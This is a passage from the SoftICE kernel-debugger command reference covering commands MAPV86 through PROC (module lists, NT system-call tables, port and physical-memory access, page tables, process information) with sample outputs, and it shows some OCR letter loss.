 command. If this occurs, the output from the MAPV86 command will terminate ith a
 PAGE NOT PRESENT message. Often, just popping out of, and then back into, oftICE
 will result in those pages being mapped in.

A useful application of the MAPV86 command is in obtaining addresses to which symbol
table must be aligned with the SYMLOC command. DOS programs that were started efore
Windows will not automatically have their symbol information mapped to their ocation in
V86 memory. By obtaining the start of their static code segment (and adding 0h to it if the
program is a .EXE) with the MAPV6 command, and setting the symbol table lignment to
that value, source level debugging for these global DOS programs is possible.

For Windows NT
The MAPV86 command is process specific. You must be in an NTVDM process ecause
these are the only ones that contain V86 boxes. There is no global MSDOS in indows NT.

%Output
For Windows 3.1 and Windows 95

The following summary information is displayed by the MAPV86 command:
VM ID Virtual machine (VM) ID. VM1 is the System VM.
VM handle 32-bit virtual machine handle.
CRS pointer VM's 32-bit client register structure pointer.
VM address 32-bit linear address of the VM. This is the high linear address of the
virtual machine, which is also currently mapped to linear address 0.

If the current CS:IP belongs to a MAPV86 entry, that line will be highlighted. Each line of
the MAPV86 display contains the following information:
Start Segment:offset start address of the component.
Length Length of the component in paragraphs.
Name Owner name of the component.

%Example
The following example illustrates how to use the MAPV86 command to display the entire
V86 map for the current VM:

```
.:MAPV86
ID=01 Handle=80441000 CRS Ptr=80013390 Linear=80C00000
Start Length Name
0000:0000 0040 Interrupt Vector Table
0040:0000 0030 ROM BIOS Variables
0070:0000 025D I/O System
02CD:0000 08E6 DOS
0BB5:0012 0000 NUMEGA
0C8B:0000 00E8 SOFTICE1
0D41:0000 00B6 XMSXXXX0
10D0:0000 038F SMARTAAR
```

:MOD
^MOD Windows 3.1 SystemInformation
^Display the Windows module list.

%Syntax
MOD [partial-name]

partial-name Prefix of the Windows module name.

%Use
This command displays the Windows module list in the Command window. A module is a

Windows application or DLL. All 16-bit modules will be displayed first, followed by all 32 bit
modules. If a partial name is specified, only those modules that begin with the name will be
displayed.

%Output
For each loaded module the following information is displayed:
module handle 16-bit handle that Windows assigns to each module. It is actually a
16-bit selector of the module database record which is similar in
format to the EXE header of the module file.
pe-header Selector:offset of the PE File header for that module.
Note: A value will only be displayed in this column for 32-bit modules.
module name Name specified in the .DEF file using the 'NAME' or 'LIBRARY'
keyword.
file name Full path and file name of the module's executable file.

%Example
The following example shows abbreviated output of MOD to display all modules in the
system:
.:MOD

```
hMod PEHeader Module Name .EXE File Name
0117 KERNEL C:\WINDOWS\SYSTEM\KRNL386.EXE
0147 SYSTEM C:\WINDOWS\SYSTEM\SYSTEM.DRV
014F KEYBOARD C:\WINDOWS\SYSTEM\KEYBOARD.DRV
0167 MOUSE C:\WINDOWS\SYSTEM\LMOUSE.DRV
01C7 DISPLAY C:\WINDOWS\SYSTEM\VGA.DRV
01E7 SOUND C:\WINDOWS\SYSTEM\MMSOUND.DRV
0237 COMM C:\WINDOWS\SYSTEM\COMM.DRV
0000 2987:80756080 W32SKRNL C:\WINDOWS\SYSTEM\win32s\w32skrnl.dll
12C7 2987:86C20080 FREECELL C:\WIN32APP\FREECELL\FREECELL.EXE
1FC7 2987:86C40080 CARDS C:\WIN32APP\FREECELL\CARDS.dll
1FDF 2987:86C70080 w32scomb C:\WINDOWS\SYSTEM\win32s\w32scomb.dll
hMod PEHeader Module Name .EXE File Name
```

:MOD (NT)
^MOD Windows 95 and Windows NT SystemInformation
^Display the Windows module list.

%Syntax
MOD [partial-name]

partial-name Prefix of the Windows module name

%Use
This command displays the Windows module list in the Command window. If a partial name
is specified, only modules that begin with the name will be displayed.SoftICE displays
modules in the following order:
. 16-bit modules
. 32-bit driver modules (Windows NT only)
. 32-bit application modules

For Windows 95
The module list is global. A module is a Windows application or DLL. All modules have an
hMod value.

For Windows NT
The Mod command is process specific. All modules will be displayed that are visible within
the current process. This includes all 16-bit modules, all 32-bit modules, and all driver
modules. This means if you want to see specific modules, you must switch to the appropriate
address context before using the MOD command.

You can distinguish application modules from driver modules because application modules
have base addresses below 2GB (80000000h).
The 16-bit modules will be the only modules that have an hMod value.

%Output
For each loaded module the following information is displayed:
module handle
16-bit handle that Windows assigns to each module. It is actually a
16-bit selector of the module database record which is similar in
format to the EXE header of the module file.
base
Base linear address of the executable file. This is also used as the
module handle for 32-bit executables.
Note: A value will only be displayed in this column for 32-bit modules.
pe-header
Selector:offset of the PE File header for that module.
Note: A value will only be displayed in this column for 32-bit modules.
module name Name specified in the .DEF file using the 'NAME' or 'LIBRARY'
keyword.
file name
Full path and file name of the module's executable file.

%Example
The following example is abbreviated output of MOD used on the NTVDM WOW process:

```
.:MOD
hMod Base PEHeader ModuleName File Name
021F KERNEL D:\WINNT35\SYSTEM32\KRNL386.EXE
020F SYSTEM D:\WINNT35\SYSTEM32\SYSTEM.DRV
01B7 KEYBOARD D:\WINNT35\SYSTEM32\KEYBOARD.DRV
02B7 MOUSE D:\WINNT35\SYSTEM32\MOUSE.DRV
02CF DISPLAY D:\WINNT35\SYSTEM32\VGA.DRV
02E7 SOUND D:\WINNT35\SYSTEM32\SOUND.DRV
0307 COMM D:\WINNT35\SYSTEM32\COMM.DRV
031F USER D:\WINNT35\SYSTEM32\USER.EXE
0397 GDI D:\WINNT35\SYSTEM32\GDI.EXE
0347 WOWEXEC D:\WINNT35\SYSTEM32\WOWEXEC.EXE
03DF SHELL D:\WINNT35\SYSTEM32\SHELL.DLL
0C3F WFWNET D:\WINNT35\SYSTEM32\WFWNET.DRV
0BFF MMSYSTEM D:\WINNT35\SYSTEM32\MMSYSTEM.DLL
0BF7 TIMER D:\WINNT35\SYSTEM32\TIMER.DRV
80100000
80100080
ntoskrnl \WINNT35\System32\ntoskrnl.exe
80400000
80400080
hal \WINNT35\System32\hal.dll
80010000
80010080
atapi atapi.sys
80013000
80013080
SCSIPORT \WINNT35\System32\Drivers\SCSIPORT.SYS
```

80001000
80001080
Atdisk Atdisk.sys
8001B000
8001B080
Scsidisk Scsidisk.sys
803AE000
803AE080
Fastfat Fastfat.sys
FB000000
FB000080
Floppy \SystemRoot\System32\Drivers\Floppy.SYS
FB010000
FB010080
Scsicdrm \SystemRoot\System32\Drivers\Scsicdrm.SYS
FB020000
FB020080
Fs_Rec \SystemRoot\System32\Drivers\Fs_Rec.SYS
FB030000
FB030080
Null \SystemRoot\System32\Drivers\Null.SYS
hMod Base PEHeader ModuleName File Name

:NTCALL
^NTCALL Windows NT SystemInformation
^Display NTOSKRNL calls used by NTDLL.

%Syntax
NTCALL

%Use
The NTCALL command displays all NTOSKRNL calls that are used by NTDLL. Many of
the API's in NTDLL are nothing more than a wrapper for routines in NTOSKRNL,
where
the real work is done at level 0. If you use SoftICE to step through one of
these calls, you will
see that it immediately performs an INT 2Eh instruction. The INT 2Eh
instructions serve as
the interface for transitions between a privilege level 3 API and a privilege
level 0 routine that
actually implements the call.

When an INT 2Eh is executed, the EDX register is set to point at the parameter
stack frame
for the API and the EAX register is set to the index number of the function.
When the current
instruction pointer reference is an INT 2Eh instruction, the SoftICE
disassembler will show
the address of the privilege level 0 routine that will be called when the INT
2Eh executes,
along with the number of dword parameters that are being passed in the stack
frame pointed
at by EDX. If you wish to see the symbol name of the routine, you must load
symbols for
NTOSKRNL and make sure that it is the current symbol table. Refer to TABLE on
page 194.

%Output
The NTCALL command display all the level 0 API's available. For each API, the
following
information displays:

Func. Hexadecimal index number of the function passed in EAX.
Address Selector:offset address of the start of the function.
Params Number of dword parameters passed to the function.
Name Either the symbolic name of the function, or the offset within
NTOSKRNL if no symbols are loaded.

An example of the disassembler output follows. Note how SoftICE indicates that the INT
2Eh instruction's execution result in the NTOSKRNL function _NTSetEvent being called
with 2 dword parameters.

```
ntdll!NtSetEvent
001B:77F8918C MOV EAX,00000095
001B:77F89191 LEA EDX,[ESP+04]
001B:77F89195 INT 2E ; _NtSetEvent(params=02)
001B:77F89197 RET 0008
```

%Example
The following example shows abbreviated output of the NTCALL command. It can be seen
from this listing that the NTOSKRNL routine, _NTAccessCheck, is located at
8:80182B9Eh, that it is assigned a function identifier of 1, and that it takes 8 dword
parameters.

```
00 0008:80160D42 params=06 _NtAcceptConnectPort
01 0008:80182B9E params=08 _NtAccessCheck
02 0008:80184234 params=0B _NtAccessCheckAndAuditAlarm
03 0008:80180C0A params=06 _NtAdjustGroupsToken
04 0008:80180868 params=06 _NtAdjustPrivilegesToken
05 0008:8017F9A6 params=02 _NtAlertResumeThread
06 0008:8017F95E params=01 _NtAlertThread
07 0008:8014B0C4 params=01 _NtAllocateLocallyUniqueId
08 0008:8014B39A params=03 _NtAllocateUuids
```

:O
^O Windows 3.1, Windows 95, Windows NT I/OPort
^Output a value to an I/O port.

%Syntax
O[size] port value

size
port Port address.
value Byte, word, or dword value as specified by size.

%Use
Output to PORT commands are used to write a value to a hardware port. Output can be
done to byte, word, or dword ports. If no size is specified, the default is B.
All outs are done immediately to the hardware with the exception of the interrupt mask
registers (Port 21h & A1h). These do not take effect until the next time you exit from the
SoftICE screen.

%Example
This command performs an out to port 21, which unmasks all interrupts for interrupt
controller one.

```
O 21 0
```

Value Description
B Byte
W Wo rd
D Dword

:OBJDIR
^OBJDIR Windows NT SystemInformation
^Displays objects in a Windows NT Object Manager's object directory.

%Syntax
OBJDIR [object-directory-name]

%Use
Use the OBJDIR command to display the named objects within the Object Manager's object
directory. Using OBJDIR with no parameters displays the named objects within the root
object directory. To list the objects in a subdirectory, enter the full object directory path.

%Output
The following information will be displayed by the OBJDIR command:
Object Address of the object body.
ObjHdr Address of the object header.
Name Name of the object.
Type Windows NT-defined data type of the object.

%Example
The following example is abbreviated output of OBJDIR listing objects in the Device object
directory:
OBJDIR device
Directory of \Device at FD8E7F30
Object ObjHdr Name Type
FD8CC750 FD8CC728 Beep Device
FD89A030 FD89A008 NwlnkIpx Device
FD889150 FD889128 Netbios Device
FD8979F0 FD8979C8 Ip Device
FD8C9ED0 FD8C9EA8 KeyboardClass0 Device
FD8C5038 FD8C5010 Video0 Device
FD8C4040 FD8C4018 Video1 Device

In the following example, the OBJDIR command is used with a specified object directory
pathname to list the objects in the \Device\Harddisk0 subdirectory.
OBJDIR \device\harddisk0
Directory of \Device\Harddisk0 at FD8D38D0
Object ObjHdr Name Type
FD8D3730 FD8D3708 Partition0 Device
FD8D3410 FD8D33E8 Partition1 Device
FD8D32D0 FD8D32A8 Partition2 Device
3 Object(s)

:OBJTAB
^OBJTAB WindowsNT SystemInformation
^Display entries in the WIN32 user object-handle table.

%Syntax
OBJTAB [handle | object-type-name | -h]

handle Object handle.

object-type-name One of the object-type-names, predefined by SoftICE:
-h Display list of valid object-type-names.

%Use
Use the OBJTAB command to display all entries in the master object-handle table created
and maintained by CSRSS, or to obtain information about a specific object or objects of a
certain type. The master object-handle table contains information for translating user object-
handles such as an hWnd or hCursor into the actual data that represents the object.
If you use OBJTAB without parameters, SoftICE lists the full contents of the master object-
handle table. If an object handle is specified, just that object is listed. If an object-type-name is
entered, all objects in the master object-handle table of that type are listed.
FREE Free handle
HWND Hwnd
Menu Menu or Sub-menu object
Icon (or Crsr) HICON or HCURSOR
DFRW DeferWindowPos data
HOOK Hook
TINF Thread Info data
QUE (3.51 only) Message queue
CPD Call Proc Data thunk
ACCL Accelerator table
WSTN Workstation object
DESK (3.51 only) Desktop object
DDE DDE String

%Output
The following information is displayed by the OBJTAB command:
Object Pointer to the object's data.
Type Type of the object.
Id Object's type ID.
Handle Win32 handle value for the object.
Owner CSRSS specific instance data for the process or thread that owns the
object.
Flags Object's flags.

%Example
The following is an abbreviated example using the OBJTAB command without parameters or
options:

```
.:OBJTAB
Object Type Id Handle Owner Flags
7F2D4DA0 Hwnd 01 0004005C 7F2D5F88 00
7F2D85B8 Menu 02 0001005D 00298B40 00
7F2D4E58 Hwnd 01 0003005E 7F2D5F88 00
7F2D1820 Queue 07 0002005F 00000000 00
003E50E0 Accel. Table 09 00030060 00298B40 00
```

:P
^P WINDOWS 3.1, WINDOWS 95, WINDOWS NT FLOWCONTROL
^F10, F12 for P RET
^Execute one program step.

%Syntax
P [RET]

%Use

The P command is a logical program step. In assembly mode, one instruction at the current
CS:EIP is executed unless the instruction is a call, interrupt, loop, or repeated string
instruction. In those cases, the entire routine or iteration is completed before control is
returned to SoftICE.

If RET is specified, SoftICE will step until it finds a return or return from interrupt
instruction. This function works in either 16- or 32-bit code and also works in level 0 code.
The P command uses the single step flag for most instructions. For call, interrupt, loop, or
repeated string instructions, a one-time INT 3 style breakpoint execution breakpoint is used.
In source mode one source statement is executed. If the source statement involves calling
another procedure, the call is not followed. The called procedure is treated like a single
statement.

If the Register window is visible when SoftICE pops up, all registers that have been altered
since the P command was issued will be displayed with the bold video attribute. For call
instructions, this will show what registers a subroutine has not preserved.
In an unusually long procedure, there can be a noticeable delay when using the P RET
command, because SoftICE is single stepping every instruction.

For Windows 95 and Windows NT
The P command, by default, is thread specific. If the current EIP is executing in thread X,
SoftICE will not break until the program step occurs in thread X. This prevents the case of
Windows NT process switching or thread switching during the program step causing
execution to stop in a different thread or process than the one you were debugging. To change
this behavior, either use the SET command with the THREADP keyword or disable thread-
specific stepping in the troubleshooting SoftICE initialization settings.

%Example
To execute one program step, use the command:
P

:PAGE
^PAGE Windows 3.1, Windows 95, Windows NT SystemInformation
^Display page table information.

%Syntax
PAGE [address [L length]]

address Virtual address, segment:offset address, or selector:offset address that
you want to know page table information about, including the virtual
and physical address.
length Number of pages to display.

%Use

The PAGE command can be used to list the contents of the current page directory or the
contents of individual page table entries.

Note: Multiple page directories are used only by Windows NT.

In the x86 architecture, a page directory contains 1024 4-byte entries, where an entry specifies
the location and attributes of a page table that is used to map a range of memory related to the
entry's position in the directory. (These ranges are shown on the far right in the PAGE
command's output of the page directory.)

Each entry represents the location and attributes of a specific page within the memory range
mapped by the page table. An x86 processor page is 4KB in size, so a page table maps
4KB/page * 1024 entries = 4MB of memory, and the page directory maps up to 4MB/page
table * 1024 entries = 4GB of memory.

NT 4.0 uses the 4 MB page feature of the Pentium/Pentium Pro processors. NTOSKRNL,
HAL, and all boot drivers are mapped into a 4 MB page starting at 2 GB (80000000h).
When the address parameter is specified, information about the page table entry that maps
the address is shown. This includes the following:
. The linear virtual address of the start of the page mapped by the entry.
. The physical address that corresponds to the start of the page mapped by the entry.
. The page table entry attributes of the page. This information corresponds directly to
processor defined attributes. Page table attributes are represented by bits that indicate
whether or not the entry is valid, the page is dirty or has been accessed, whether its a
supervisor or user-mode page, and its access protections. Only bit attributes that are set
are shown by SoftICE.
. The page type. This information is interpreted from the Windows-defined bit field in the
page table entry and the types displayed by SoftICE correspond to Windows definitions.

Use the length parameter with the address parameter to list information about a range of
consecutive page table entries. It should be noted that the PAGE command will not cross page
table boundaries when listing a range. This means that a second PAGE command must be
used to list the pages starting where the first listing stopped, in the case that fewer entries are
listed than you specified.

If no parameters are specified, the PAGE command shows the contents of the current page
directory. Each line listed represents 4MB of linear address space. The first line shows the
physical and linear address of the page directory. Each following line displays the information

in each page directory entry. The data shown for each entry is the same as is described above
for individual page table entries, however, in this output addresses represent the locations of
page tables rather than pages.

%Output
The following information is displayed by the PAGE command:
physical address If a page directory is being displayed then this is the physical address
of the page table that a page directory entry refers to. Each page
directory entry references one page table which controls 4MB of
memory.

If an address parameter is entered so that specific pages are displayed,
then this is the physical address that corresponds to the start of a page.
linear address For Windows 3.1 and Windows 95 only: If the page directory is being
displayed then this is the virtual address of a page table. This is the
address you would use in SoftICE to display the page table with the D
command.

If specific pages are being displayed, this is the virtual address of a
page. If a length was entered then this is the virtual address of the start
of each page.

attribute This is the attribute of the page directory or page table entry. The valid
attributes are, as follows:
Windows 3.1, Windows
95, and Windows NT Windows NT Only
P Present S Supervisor
D Dirty RW Read/Write
A Accessed 4M 4 MB page
(NT 4.0 only)
U User
R Read Only
NP Not Present

type For Windows 3.1 and Windows 95 only: Each page directory entry
has a three-bit field that can be used by the operating system to classify
page tables. Windows classifies page tables into the following six
categories:
If a page is marked Not Present, then all that is displayed is NP followed by the dword
contents of the page table entry.

%Example
For Windows 3.1 and Windows 95
PAGE with no parameters displays page directory information. The following is a sample
PAGE command output:
PAGE

Page Directory Physical=002B6000 Linear=006B600
System Private
Instance Relock
VM Hooked
Physical Linear Attributes Type Linear Address Range
002B7000 006B7000 P A U System 00000000-003FFFFF
00109000 00509000 P A U System 00400000-007FFFFF
0010A000 0050A000 P U System 00800000-00BFFFFF
0010B000 0050B000 P U System 00C00000-00FFFFFF

0010C000 0050C000 P U System 01000000-013FFFFF
002B8000 006B8000 P A U System 80000000-803FFFFF
00106000 00506000 P A U System 80400000-807FFFFF
00107000 00507000 P U System 80800000-80BFFFFF
00108000 00508000 P U System 80C00000-80FFFFFF
002B7000 006B7000 P A U System 81000000-813FFFFF

PAGE with an address specified displays the page table entry that corresponds to that address.
In this example, three page table entries are shown starting with the page table entry that
corresponds to address 00106018. Notice that when the length parameter is specified, the
linear address is truncated to the base address of the memory page that contains address.
PAGE 00106018 l 3

In this example PAGE can be used to find both the virtual and physical address of
selector:offset address.
PAGE #585:263C

For Windows NT
When the Page command displays information on either PTEs or PDEs for NT 4.0, 4 MB
pages are indicated by a pneumonic 4M in the Attributes field. The following sample output
shows the region starting at 2 GB.
.:PAGE

```
Page Directory Physical=00030000
Physical Attributes Linear Address Range
00000000 P A S RW 4M 80000000 - 803FFFFF
00400000 P A S RW 4M 80400000 - 807FFFFF
00800000 P A S RW 4M 80800000 - 80BFFFFF
00C00000 P A S RW 4M 80C00000 - 80FFFFFF
01034000 P A S RW 4M 81000000 - 813FFFFF
Linear Physical Attributes Type
00106000 00006000 P U VM
00107000 00007000 P U VM
00108000 00008000 P U VM
Linear Physical Attributes Type
0004A89C 00218442 P U Instance
```

The following example is a partial listing of output from the PAGE command being executed
without parameters on Windows NT 3.51 so that the page directory contents are printed.
.:PAGE

```
Page Directory Physical=00030000
Physical Attributes Linear Address Range
00380000 P A U RW 00000000 - 003FFFFF
00611000 P A U RW 77C00000 - 77FFFFFF
00610000 P A U RW 7FC00000 - 7FFFFFFF
00032000 P A S RW 80000000 - 803FFFFF
00034000 P A S RW 80400000 - 807FFFFF
00035000 P A S RW 80800000 - 80BFFFFF
00033000 P A S RW 80C00000 - 80FFFFFF
00030000 P A S RW C0000000 - C03FFFFF
00040000 P A S RW C0400000 - C07FFFFF
00001000 P A S RW C0C00000 - C0FFFFFF
```

Here is an example of the PAGE command being used to display the attributes and addresses
of the page that instructions are currently being executed from.
.:PAGE eip

Linear Physical Attributes
80404292 00404292 P D A S RW

:PAUSE
^PAUSE Windows 3.1, Windows 95, Windows NT Customization
^Pause after each screen.

%Syntax
PAUSE [on | off]

%Use
The PAUSE command controls screen pause at the end of each page. If PAUSE is on, you are
prompted to press any key before information scrolls off the Command window. The prompt
displays in the status line at the bottom of the Command window.
If you do not specify a parameter, the current state of PAUSE displays.

The default is PAUSE on.

%Example
The following command specifies that the subsequent Command window display will not
automatically scroll off the screen. You are prompted to press a key before information scrolls
off the screen.
PAUSE on
See Also SET

:PCI
^PCI Windows 95, Windows NT SystemInformation
^Dump the configuration registers for each PCI device in the system.

%Syntax
PCI

%Use
The PCI command dumps the registers for each PCI device in the system. Do not use this
command on non-PCI systems. Many of the entries are self-explanatory, but some are not.
Consult the PCI specification for more information about this output.

%Example
The following example illustrates a partial sample output for the PCI command:
.:PCI

Bus 00 Device 00 Function00
Vendor: 8086 Intel
Device: 1237
Revision: 02
Device class: 06 Bridge device
Device subclass: 00 Host bridge
Device sub-subclass: 00
Interrupt line: 00Interrupt pin: 00 Min_Gnt: 00 MaxLat: 00

Cache line size: 00 Latency timer: 40 Header type: 00BIST: 00
I/O:0 Mem:1 BusMAST:1 Special:0 MemInv:0
Parity:0 Wait:0 SERR:1 Back2Back:0 Snoop:0
Bus 00 Device 07 Function00
Vendor: 8086 Intel
Device: 7000
Revision: 01
Device class: 06 Bridge device
Device subclass: 01 ISA bridge
Device sub-subclass: 00
Interrupt line: 00Interrupt pin: 00 Min_Gnt: 00 MaxLat: 00
Cache line size: 00 Latency timer: 00 Header type: 80BIST: 00
I/O:1 Mem:1 BusMAST:1 Special:1 MemInv:0
Parity:0 Wait:0 SERR:0 Back2Back:0 Snoop:0

:PEEK.
^PEEK Windows 95, Windows NT Display/Change Memory
^Read from physical memory.

%Syntax
PEEK[size] address

size B (byte), W (word), or D (dword). Size defaults to B.
address Physical memory address.

%Use
PEEK displays the byte, word, or dword at a given physical memory location.
PEEK is useful
for reading memory-mapped I/O registers.

%Example
The following example displays the dword at physical address FF000000:
PEEKD FF000000

:PHYS
^PHYS Windows 3.1, Windows 95, Windows NT SystemInformation
^Display all virtual addresses that correspond to a physical address.

%Syntax
PHYS physical-address

physical-address Memory address that the x86 generates after a virtual address
has been
translated by its paging unit. It is the address that appears on the
computer's BUS, and is important when dealing with memory-
mapped hardware devices such as video memory.

%Use
Windows uses x86 virtual addressing support to define a relationship between
virtual
addresses, used by all system and user code, and physical addresses that are
used by the
underlying hardware. In many cases a physical address range may appear in more
than one
page table entry, and therefore more than one virtual address range.
SoftICE does not accept physical addresses in expressions. To view the contents
of physical
memory you must use the PHYS command to obtain linear addresses that can be
used in
expressions.

For Windows 95 and Windows NT
The PHYS command is specific to the current address context. It searches the Page Tables and
Page Directory associated with the current SoftICE address context.

%Example
Physical address A0000h is the start of VGA video memory. Video memory often shows up in
multiple virtual address in Windows. In this example there are three different virtual addresses
that correspond to physical A0000 as shown:
.:PHYS a0000
000A0000
004A0000
80CA0000

:POKE.
^POKE Windows 95, Windows NT Display/Change Memory
^Write to physical memory

%Syntax
POKE[size] address value

size B (byte), W (word), or D (dword). Size defaults to B.
address Physical memory address.
value Value to write to memory.

%Use
POKE writes a byte, word, or dword value to a given physical memory location. POKE is
useful for writing to memory-mapped I/O registers.

%Example
The following example writes the dword value 0x12345678 to physical address FF000000:
POKED FF000000 12345678

:PrintScrn
^Print Screen Key
^Windows 3.1, Windows 95, Windows NT Customization
^Print contents of screen.

%Syntax
PRINT SCREEN key

%Use
Pressing PRINT SCREEN dumps all the information from the SoftICE screen to your printer.
By default, the printer port is LPT1. Use the PRN command to change your printer port.
Since SoftICE accesses the hardware directly for all of its I/O, Print Screen works only on
printers connected directly to a COM or LPT port. It does not work on network printers.
If you do not want to dump to a printer, choose Save SoftICE History from the File menu in
the SoftICE Loader to write the SoftICE command line window history to a file.

For Windows 95 and Windows NT
From a DOS VM, use the DLOG.EXE utility to log the SoftICE Command window
information.

:PRN
^PRN Windows 3.1, Windows 95, Windows NT Customization
^Set printer output port.

%Syntax
 PRN [lptx | comx]

 x Decimal number between 1 and 2 for LPT, or between 1 and 4 for
 COM .

%Use
 The PRN command allows you to send output from Print Screen to a different
printer port.
 If no parameters are supplied, PRN displays the currently assigned printer
port.

%Example
This command causes Print Screen output to go to the COM1 port.
 PRN com1

^:PROC
^PROC Windows 95, Windows NT SystemInformation
^Display summary information about any or all processes in the system.

%Syntax
 For Windows 95
 PROC [-xo] [task]

 For Windows NT
 PROC [[-xom] process-type | thread-type]
 -eXtended Display extended information for each thread.
 -Objects Display list of objects in processes handle table.
 -Memory Display information about the memory usage of a process.
 task Task name.
 process-type Process handle, process ID, or process name.
 thread-type Thread handle or thread ID.

%Use
 If you specify PROC with no options, summary information is presented for one
or all
 processes in the system. The information the -Memory option provides is also
included when
 you specify the -eXtended option for Windows NT. It is provided for
convenience, because
 the amount of extended information displayed is quite large.

 For all process (and thread) times, as well as process memory information,
SoftICE uses raw
 values from within the OS data structures without performing calculations to
convert them
 into standardized units.

 The -Object option displays the object pointer, the object handle, and the
object type for
 every object in the processes object handle table. Because object information
is allocated from
 the systems pageable pool, the objects type name will not always be available.
In this case,
 question marks (???) are displayed.

%Output
 For Windows 95

For each process the following summary information is provided:
Process Task name.
pProcess Pointer to process database (pdb).
Process ID The Ring 3 ID of the process.
Threads Number of threads the process owns.
Context Address context.
DefHeap Default heap.
DebuggeeCB Debuggee context block.

For Windows NT
For each process the following summary information is provided:
Process Process name.
KPEB Address of the Kernel Process Environment Block.
PID Process ID.
Threads Number of threads the process owns.
Priority Base priority of the process .
User Time Relative amount of time the process spent executing code at user level.
Krnl Time Relative amount of time the process spent executing code at the kernel
level.

Status Current status of the process:
. Running: The process is currently running.
. Ready: The process is in a ready to run state.
. Idle: The process is inactive.
. Swapped: The process is inactive, and its address space has been deleted.
. Transition: The process is currently between states.
. Terminating: The process is terminating.

%Example For Windows 95
This example lists all the processes in the system.
.:PROC

This example shows extended information for GDIDEMO:

```
.:PROC -x gdidemo
Process Information for Gdidemo at 81569F04
Process pProcess ProcessID Threads Context DefHeap DebuggeeCB
Winword 8156ACA8 FFFC8817 00000001 C10474D4 00400000 00000000
Gdidemo 81569F04 FFFCBBBB 00000001 C1033E38 00410000 00000000
Loader32 8156630C FFFC47B3 00000001 C10476D0 00470000 00000000
Explorer 815614C0 FFFC307F 00000002 C104577C 00440000 00000000
Mprexe 8155DFA4 FFFFFB1B 00000002 C1043340 00510000 00000000
MSGSRV32 8155D018 FFFFF4A7 00000001 C1041E28 00400000 00000000
KERNEL32 8165A31C FFFCF87A3 00000004 C10D9EDC 00640000 00000000
Type: 00000005 RefCount: 00000002 Unknown1: 00000000
pEvent: 81569FC8 TermStatus: 00000103 Unknown2: 00000000
DefaultHeap: 00410000 MemContext: C1033E38
Flags: 00000000
pPSP: 0001A1A0 PSPSelector: 26E7 MTEIndex: 0019
Threads: 0001 ThrNotTerm: 0001 Unknown3: 00000000
R0threads: 0001 HeapHandle: 8155B000 K16TDB: 2816
MMFViews: 00000000 pEDB: 8156A448 pHandleTable: 8156A2C0
ParentPDB: 8156630C MODREFlist: 8156ABB0 Threadlist: 81569FE8
DebuggeeCB: 00000000 LHFreeHead: 00000000 InitialR0ID: 00000000
&crtLoadLock: 81569F64 pConsole: 00000000 Unknown4: C007757C
ProcDWORD0: 00003734 ProcGroup: 8156630C ParentMODREF: 8156ABB0
TopExFilter: 00000000 PriorityBase: 00000008 Heapownlist: 00650000
HHandleBlks: 0051000C Unknown5: 00000000 pConProvider: 00000000
wEnvSel: 19B7 wErrorMode: 0000 pEvtLdFinish 8156A2A0
UTState: 0000
```

Environment Database

This example shows a partial listing of the objects in Kernel32:
.:PROC -o kernel32
Environment: 00520020 Unknown1: 00000000
CommandLine: 8156A500 C:\PROJECTS\GDIDEMO\Gdidemo.exe
CurrentDir: 8156A524 C:\PROJECTS\GDIDEMO
StartupInfo: 8156A53C hStdIn: FFFFFFFF hStdOut: FFFFFFFF
hStdError: FFFFFFFF Unknown2: 00000001 InheritCon 00000000
BreakType: 00000000 BreakSem: 00000000 BreakEvent: 00000000
BreakThreadId: 00000000 BrkHandlers: 00000000
Handle Object Type
1 8165A32C Process
2 8155BFFC Event
3 C103E3A4 Memory Mapped file
4 C0FFE0E0 Memory Mapped file
5 C0FFE22C Memory Mapped file
6 C0FF1058 Memory Mapped file
7 8155C01C Event
8 8155CCE4 Event
9 8155CD5C Event
A 8155CD8C Thread
B 8155D008 Event
C C1041C04 Memory Mapped file
D 8155D870 Event

For Windows NT
The following is an example using the PROC command without parameters:
.:PROC

Note: The process that was active when SoftICE popped up will be highlighted. The
currently active process/address context within SoftICE will be indicated by an asterisk
(*).
Process KPEB PID Threads Pri User
Time
Krnl
Time
Status
System FD8E0020 2 14 8 00000000 00001A48 Ready
smss FD8B9020 13 6 B 00000022 00000022 Swapped
csrss FD8B3DC0 1F 12 D 00B416C5 00049C4E Ready
winlogon FD8AD020 19 2 D 00000028 00000072 Idle
services FD8A6880 28 B 9 0000018E 0000055A Idle
lsass FD8A4020 2A C 9 0000001B 00000058 Idle
spoolss FD87ACA0 43 6 8 000000AB 000000BD Idle
nddeagnt FD872780 4A 1 8 00000004 0000000C Idle
*ntvdm FD86DDC0 50 6 9 00125B98 0003C0BE Running
scm FD85B300 5D 3 8 00000024 0000008A Idle
Explorer FD850020 60 3 D 000002DE 00000447 Ready
Idle 8016A9E0 0 1 0 00000000 00135D03 Ready

The following is an example of using the -eXtended option for a specific process, in this case
Explorer:
.:PROC -x explorer
Extended Process Information for Explorer(60)
KPEB: FD850020 PID: 60 Parent: Unknown(48)
Base Pri: D Mem Pri: 0 Quantum: 2
Usage Cnt: 1 Win Ver: 4.00 Err. Mode: 0
Status: Ready
Processor: 00000000 Affinity: 1

Page Directory: 011CA000 LDT Base: 00000000 LDT Limit: 0000
Kernel Time: 00000447 User Time: 000002DE
Create Time: 01BB10646E2DBE90
Exit Time: 0000000000000000
Vad Root: FD842E28 MRU Vad: FD842E28 Empty Vad: FD823D08
DebugPort: 00000000 ExceptPort: E118B040 SE token: E1240450
SpinLock: 00000000 HUPEB: 00000004 UPEB: 7FFDF000
ForkInProgress: FALSE Thread: 00000000(0)
Process Lock: 00000001 Owner: 00000000(0)
Copy Mem Lock: 00000000 Owner: 00000000(0)
Locked Pages: 00000000 ProtoPTEs: 000000DD Modified Pages: 000000E4
Private Pages: 0000014F Virt Size: 013F8000 Peak Virt Size: 01894000
---- Working Set Information ----
Update Time: 01BB11D0D7B299C0
Data: C0502000 Table: C0502470
Pages: 00000879 Faults: 00000899 Peak Size: 00000374
Size: 000002AF Minimum: 00000032 Maximum: 00000159
---- Non Pageable Pool Statistics ----
Quota Usage: 00000E78 Peak Usage: 00001238
Inherited Usage: 0000C093 Peak Usage: 00056555 Limit: 00080000
---- Pageable Pool Statistics ----
Quota Usage: 00003127 Peak Usage: 00004195
Inherited Usage: 0000C000 Peak Usage: 00004768 Limit: 000009CA
---- Pagefile Statistics ----
Quota Usage: 00000151 Peak Usage: 0000016E
Inherited Usage: FFFFFFFF Peak Usage: 00000151 Limit: 00000000
---- Handle Table Information ----
Handle Table: E10CE5E8 Handle Array: E1265D48 Entries: 50

:QUERY
^QUERY Windows 95, Windows NT SystemInformation
^Display the virtual address map of a process.

%Syntax
